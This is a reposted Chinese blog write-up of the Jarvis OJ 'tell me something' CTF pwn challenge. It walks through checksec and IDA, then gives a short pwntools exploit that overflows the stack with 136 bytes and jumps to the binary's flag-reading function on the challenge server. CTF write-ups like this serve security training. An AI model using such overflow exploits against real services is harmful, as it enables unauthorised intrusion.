我是靠谱客的博主 活泼狗,最近开发中收集的这篇文章主要介绍Jarvis oj tell me something writeup,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

拿到题目前checksec下:
在这里插入图片描述
64位,开启了NX。
放到IDA里看下:
在这里插入图片描述
就单纯的栈溢出,看下调用哪些函数:
在这里插入图片描述
plt表里并没有system函数,也不知道对方使用的动态库的版本。
看到函数good_game:
在这里插入图片描述
这个函数会读取flag,那么就很显然了,将返回地址覆盖到这个函数即可。
计算下溢出点:
在这里插入图片描述
在这里插入图片描述
由于是64位的程序,不能访问大于0x00007fffffffffff的地址空间。
但是可以通过RSP查看。
exp如下:

from pwn import *

a=remote("pwn.jarvisoj.com","9876")

payload='A'*136+p64(0x0000000000400620)

a.recvuntil("n")

a.send(payload)

a.interactive()

最后

以上就是活泼狗为你收集整理的Jarvis oj tell me something writeup的全部内容,希望文章能够帮你解决Jarvis oj tell me something writeup所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部